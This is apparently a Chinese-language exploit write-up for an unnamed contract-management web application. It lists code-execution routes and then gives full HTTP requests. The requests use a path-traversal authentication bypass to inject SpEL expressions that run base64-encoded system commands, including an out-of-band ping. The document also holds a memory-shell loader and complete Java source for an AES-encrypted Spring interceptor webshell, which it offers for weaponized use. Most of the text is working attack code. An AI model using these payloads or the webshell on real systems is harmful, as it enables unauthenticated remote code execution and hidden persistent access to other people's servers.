0x01 漏洞细节
0x01 代码执行
- 路由:/template/param/edits
0x02 代码执行 2
- 路由1:/template/html/add
- 路由2: /template/html/update
0x03 代码执行3
- checkParamExistsWhenSend
- checkWordParamExistsWhenSend
- 路由: /contract/fillparam
0x02 漏洞利用
- 前台命令执行
POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1
Host: xxxxx
Cookie: SID=3c5dff0a-40d3-4235-b3dc-80a0ede12570
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Content-Length: 32990
Connection: close
{"id":"2","params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='classBase64编码';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]}
- 内存马
- 增加一个 Check-Flag 判断是否注入成功
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('SpringLogFlag').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeRaw = 'byteCode';var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray();var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}
路径:https://xxxxxxx/login/status
(有些目标环境没有此路径,执行更换其他路径尝试连接)
- 前台绕过-命令执行1
POST /contract/ukeysign/.%2e/.%2e/template/html/add HTTP/1.1
Host: xxxxxx
Cookie: SID=5ee4f3c3-6494-42db-a97b-ec2c368c6aa4; QID=8b4a2e3d-a057-4a32-be5f-74323c3b535c
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
I18n-Language: zh_CN
X-Qid: 8b4a2e3d-a057-4a32-be5f-74323c3b535c
Referer:
Content-Type: application/json
Content-Length: 398
{"title":"1",
"file":"1",
"groupId":"123",
"params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMoJ3BpbmcgOTc2ZDExODQuaXB2Ni4xNDMzLmV1Lm9yZycp';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]
- 前台绕过-命令执行2
POST /contract/ukeysign/.%2e/.%2e/template/html/update HTTP/1.1
Host: XXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
I18n-Language: zh_CN
Referer:
Content-Type: application/json
Content-Length: 398
{"title":"1",
"file":"1",
"groupId":"123",
"params":[{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMoJ3BpbmcgOTc2ZDExODQuaXB2Ni4xNDMzLmV1Lm9yZycp';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();"}]
0x04 武器化实现
- spring内存马,按照你的需求修改增加即可
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.tomcat.util.http.Parameters;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.*;
public class SpringInterHeaderLog extends HandlerInterceptorAdapter {
String xc = "8750561e48c1c2a0";
String pass = "pass";
String md5;
Class payload;
public SpringInterHeaderLog() {
this.md5 = md5(this.pass + this.xc);
}
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
try {
if (request.getHeader("check").equalsIgnoreCase("true")) {
response.setHeader("X-XSS-Protection","1; mode=block;Live;mode=OK");
}
Object lastRequest = request;
Object lastResponse = response;
Method getResponse;
if (!(request instanceof RequestFacade)) {
getResponse = ServletRequestWrapper.class.getMethod("getRequest");
for(lastRequest = getResponse.invoke(request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
}
}
if (!(response instanceof ResponseFacade)) {
getResponse = ServletResponseWrapper.class.getMethod("getResponse");
for(lastResponse = getResponse.invoke(response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
}
}
URLClassLoader urlClassLoader;
String payload;
byte[] data = base64Decode(request.getParameter(this.pass));
data = this.x(data, false);
if (this.payload == null) {
urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
this.payload = (Class)defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = this.payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} catch (Exception var20) {
return false;
}
return true;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}